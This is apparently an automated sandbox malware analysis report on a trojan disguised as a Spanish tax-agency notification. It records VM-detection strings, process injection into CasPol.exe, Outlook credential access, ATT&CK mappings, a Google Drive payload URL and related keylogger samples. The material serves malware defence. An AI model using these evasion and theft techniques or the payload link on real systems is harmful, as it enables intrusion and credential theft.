Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2083714063.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2083714063.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2083714063.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2029819324.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe0^
Source: CasPol.exe, 00000005.00000002.2476781418.000000000406B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@U
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2083714063.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 00000005.00000002.2476781418.00000000040C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: CasPol.exe, 00000005.00000002.2476781418.00000000040C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWt`
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2083714063.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2083714063.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2083714063.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2029819324.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

0_2_10001B18

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Code function: 0_2_00403D1B SetWindowPos,ShowWindow,DestroyWindow,SetWindowLongW,GetDlgItem,SendMessageW,IsWindowEnabled,LdrInitializeThunk,SendMessageW,GetDlgItem,GetDlgItem,GetDlgItem,SetClassLongW,SendMessageW,LdrInitializeThunk,GetDlgItem,ShowWindow,KiUserCallbackDispatcher,EnableWindow,GetSystemMenu,EnableMenuItem,SendMessageW,SendMessageW,SendMessageW,lstrlenW,SetWindowTextW,DestroyWindow,CreateDialogParamW,GetDlgItem,GetWindowRect,ScreenToClient,SetWindowPos,ShowWindow,DestroyWindow,EndDialog,ShowWindow,

0_2_00403D1B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: F30000

Jump to behavior

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

0_2_00403350

Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.2107.4-0\msmpeng.exe
Source: CasPol.exe, 00000005.00000002.2494898818.000000003497D000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2494898818.00000000348C1000.00000004.00000800.00020000.00000000.sdmp, Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Virtualization/Sandbox Evasion	OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	111 Process Injection	1 Disable or Modify Tools	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	16 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Timestomp	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
rAEAT-AvisodeNotificaci__n.exe	26%	Virustotal		Browse
rAEAT-AvisodeNotificaci__n.exe	25%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.Primitives.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.TypeExtensions.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\AdvSplash.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
checkip.dyndns.com	0%	Virustotal		Browse
checkip.dyndns.org	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://checkip.dyndns.org/	0%	Avira URL Cloud	safe
http://subca.ocsp-certum.com05	0%	Avira URL Cloud	safe
http://checkip.dyndns.org	0%	Avira URL Cloud	safe
http://subca.ocsp-certum.com01	0%	Avira URL Cloud	safe
http://subca.ocsp-certum.com02	0%	Avira URL Cloud	safe
http://checkip.dyndns.org	0%	Virustotal		Browse
http://checkip.dyndns.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.185.110	true	false		high
googlehosted.l.googleusercontent.com	142.250.184.193	true	false		high
checkip.dyndns.com	132.226.8.169	true	true	0%, Virustotal, Browse	unknown
doc-08-as-docs.googleusercontent.com	unknown	unknown	false		high
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-08-as-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/19pk727cbroendti715a9k7i4jfb9nau/1679308650000/13380849351983225481/*/1z2zMikfPb67TZJIo_lB5FRH6cO_UKsr4?e=download&uuid=a39e1756-09be-48bf-9f6c-3bbe22c32c5b	false		high
http://checkip.dyndns.org/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.certum.pl/ctsca2021.crl0o	rAEAT-AvisodeNotificaci__n.exe	false		high
http://repository.certum.pl/ctnca.cer09	rAEAT-AvisodeNotificaci__n.exe	false		high
http://crl.certum.pl/ctnca.crl0k	rAEAT-AvisodeNotificaci__n.exe	false		high
https://doc-08-as-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/19pk727c	CasPol.exe, 00000005.00000003.2000934593.00000000040FE000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.2005562805.0000000004134000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2476781418.0000000004134000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2476781418.00000000040C7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://creativecommons.org/ns#ShareAlike	battery-level-90-charging-symbolic.svg.0.dr	false		high
http://upx.sf.net	Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	false		high
http://checkip.dyndns.org	CasPol.exe, 00000005.00000002.2494898818.000000003497D000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2494898818.0000000034966000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://doc-08-as-docs.googleusercontent.com/	CasPol.exe, 00000005.00000002.2476781418.00000000040C7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	rAEAT-AvisodeNotificaci__n.exe	false		high
http://creativecommons.org/ns#	battery-level-90-charging-symbolic.svg.0.dr	false		high
https://github.com/dotnet/runtime	rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmp, System.Reflection.Primitives.dll.0.dr, System.Reflection.TypeExtensions.dll.0.dr	false		high
http://creativecommons.org/ns#DerivativeWorks	battery-level-90-charging-symbolic.svg.0.dr	false		high
http://creativecommons.org/licenses/by-sa/4.0/	battery-level-90-charging-symbolic.svg.0.dr	false		high
http://creativecommons.org/ns#Distribution	battery-level-90-charging-symbolic.svg.0.dr	false		high
http://repository.certum.pl/ctsca2021.cer0	rAEAT-AvisodeNotificaci__n.exe	false		high
http://subca.ocsp-certum.com05	rAEAT-AvisodeNotificaci__n.exe	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	CasPol.exe, 00000005.00000002.2476781418.000000000406B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://creativecommons.org/ns#Attribution	battery-level-90-charging-symbolic.svg.0.dr	false		high
http://subca.ocsp-certum.com02	rAEAT-AvisodeNotificaci__n.exe	false	Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com01	rAEAT-AvisodeNotificaci__n.exe	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/ctnca2.crl0l	rAEAT-AvisodeNotificaci__n.exe	false		high
http://repository.certum.pl/ctnca2.cer09	rAEAT-AvisodeNotificaci__n.exe	false		high
https://github.com/dotnet/runtimeBSJB	rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmp, System.Reflection.TypeExtensions.dll.0.dr	false		high
http://checkip.dyndns.com	CasPol.exe, 00000005.00000002.2494898818.000000003497D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://creativecommons.org/ns#Notice	battery-level-90-charging-symbolic.svg.0.dr	false		high
http://creativecommons.org/ns#Reproduction	battery-level-90-charging-symbolic.svg.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	CasPol.exe, 00000005.00000002.2494898818.00000000348C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	rAEAT-AvisodeNotificaci__n.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	true
142.250.184.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.185.110	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830397
Start date and time:	2023-03-20 11:35:27 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	rAEAT-AvisodeNotificaci__n.exe
Detection:	MAL
Classification:	mal92.troj.spyw.evad.winEXE@5/21@3/3
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 29% (good quality ratio 28.3%) Quality average: 88% Quality standard deviation: 22.1%
HCA Information:	Successful, ratio: 89% Number of executed functions: 70 Number of non-executed functions: 69
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, WerFault.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, client.wns.windows.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, umwatson.events.data.microsoft.com, wdcp.microsoft.com
Execution Graph export aborted for target CasPol.exe, PID 5816 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	rFACTURA_FAC_2023_1-1000733.PDF.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	RFQ-GCE-Piping_&_Steel_Requirment.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Shipment_Detail.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	KNcPu6PwgIyFBrH.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	OSS22005693AB.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	hjXFi8NFTRyUspx.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PI-_IF269J0163.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SALES_CONFIRMATOIN.xls	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Vessel's_particulars.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PO-500741.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	swift_copy.doc	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Y2UGyvGSuAoeJYD.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	MV_PEBBLE_BEACH.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Cotizaci#U00f3n_Urgente.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	file.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SWIFT.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PO-11435.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	uLstc8dUlN.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	TRANSFERENCIAPayment.doc	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	rFACTURA_FAC_2023_1-1000733.PDF.exe	Get hash	malicious	GuLoader	Browse	132.226.8.169
	OSS22005693AB.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Fotograf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Purchase_orderAgreement.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Advice_payment.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Vesse_particulars.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	POR.117-TANGSHAN_XIELI_-_CHINA.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	RFQ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Shipment_Details.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	$49,127.00_.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	W6S6lQ6Ae1.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Order_Ref_53089.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Rechung-R1663322504.exe	Get hash	malicious	GuLoader	Browse	158.101.44.242
	INQUIRY.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	os9ENgy8Y7.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Vessel_Particulars.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	invoice.exe	Get hash	malicious	GuLoader	Browse	193.122.130.0
	RFQ-GCE-Piping_&_Steel_Requirment.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Vessel_Description.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	jljwdT2pVF.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UTMEMUS	rFACTURA_FAC_2023_1-1000733.PDF.exe	Get hash	malicious	GuLoader	Browse	132.226.8.169
	OSS22005693AB.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Fotograf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Purchase_orderAgreement.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Vesse_particulars.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Shipment_Details.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	$49,127.00_.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Order_Ref_53089.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	INQUIRY.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	RFQ-GCE-Piping_&_Steel_Requirment.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Vessel_Description.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Shipment_Detail.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	KNcPu6PwgIyFBrH.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Requirements Details Attachments _#Uacac#Uc801 #Uc694#Uccad #Uac74.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	product.doc	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	OSS22005693AB.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	hjXFi8NFTRyUspx.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	PI-_IF269J0163.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	SALES_CONFIRMATOIN.xls	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Vessel's_particulars.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	DHL.com.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.184.193 142.250.185.110
	rJUSTIFICANTEDEPAGO.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.184.193 142.250.185.110
	rFACTURA_FAC_2023_1-1000733.PDF.exe	Get hash	malicious	GuLoader	Browse	142.250.184.193 142.250.185.110
	FAKTURA_BG_01.exe	Get hash	malicious	Remcos, DBatLoader	Browse	142.250.184.193 142.250.185.110
	20230320.vbs	Get hash	malicious	Remcos	Browse	142.250.184.193 142.250.185.110
	Q9k5bf6Rku.dll	Get hash	malicious	Unknown	Browse	142.250.184.193 142.250.185.110
	OYm3R777Yb.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	142.250.184.193 142.250.185.110
	gbK76vpcp8.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	142.250.184.193 142.250.185.110
	r7icIGgp7u.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, RedLine, SmokeLoader, Vidar	Browse	142.250.184.193 142.250.185.110
	dM4dewAIIl.exe	Get hash	malicious	Vidar	Browse	142.250.184.193 142.250.185.110
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	142.250.184.193 142.250.185.110
	setup.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader, Vidar	Browse	142.250.184.193 142.250.185.110
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	142.250.184.193 142.250.185.110
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu	Browse	142.250.184.193 142.250.185.110
	setup.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, RedLine, SmokeLoader, Vidar	Browse	142.250.184.193 142.250.185.110
	software.exe	Get hash	malicious	Babuk, Djvu	Browse	142.250.184.193 142.250.185.110
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu	Browse	142.250.184.193 142.250.185.110
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	142.250.184.193 142.250.185.110
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, HTMLPhisher, Vidar	Browse	142.250.184.193 142.250.185.110
	setup.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RHADAMANTHYS, SmokeLoader, Vidar	Browse	142.250.184.193 142.250.185.110

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.TypeExtensions.dll	rJUSTIFICANTEDEPAGO.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	rFACTURA_FAC_2023_1-1000733.PDF.exe	Get hash	malicious	GuLoader	Browse
	rJUSTIFICANTEDEPAGO.exe	Get hash	malicious	GuLoader	Browse
	rFACTURA_FAC_2023_1-1000733.PDF.exe	Get hash	malicious	GuLoader	Browse
	AEAT-Notificaci#U00f3n..rar	Get hash	malicious	GuLoader	Browse
	PO-TO003256.exe	Get hash	malicious	GuLoader	Browse
	PO-TO003256.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.NSIS.InjectorX-gen.25087.6320.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	SecuriteInfo.com.NSIS.InjectorX-gen.12248.18354.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	SecuriteInfo.com.NSIS.InjectorX-gen.25087.6320.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.NSIS.InjectorX-gen.12248.18354.exe	Get hash	malicious	GuLoader	Browse
	DOC Shane inancial Holdings LLC Transaction Information 11.10.2022 .exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	DOC Shane inancial Holdings LLC Transaction Information 11.10.2022 .exe	Get hash	malicious	GuLoader	Browse
	PO-EP3141802303 -42804009_83276378283989393872376532893293009783763.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	DOC Shane inancial Holdings LLC Transaction Information 11.10.2022 .exe	Get hash	malicious	GuLoader	Browse
	PO-EP3141802303 -42804009_83276378283989393872376532893293009783763.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.Primitives.dll	rJUSTIFICANTEDEPAGO.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	rFACTURA_FAC_2023_1-1000733.PDF.exe	Get hash	malicious	GuLoader	Browse
	rJUSTIFICANTEDEPAGO.exe	Get hash	malicious	GuLoader	Browse
	rFACTURA_FAC_2023_1-1000733.PDF.exe	Get hash	malicious	GuLoader	Browse
	AEAT-Notificaci#U00f3n..rar	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_caspol.exe_8e75fe8585f03f6e7a5776aa659ed6798ddaaf9_ea830a9b_b9de75dd-ca8c-4b40-893f-36ddd515dbdd\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
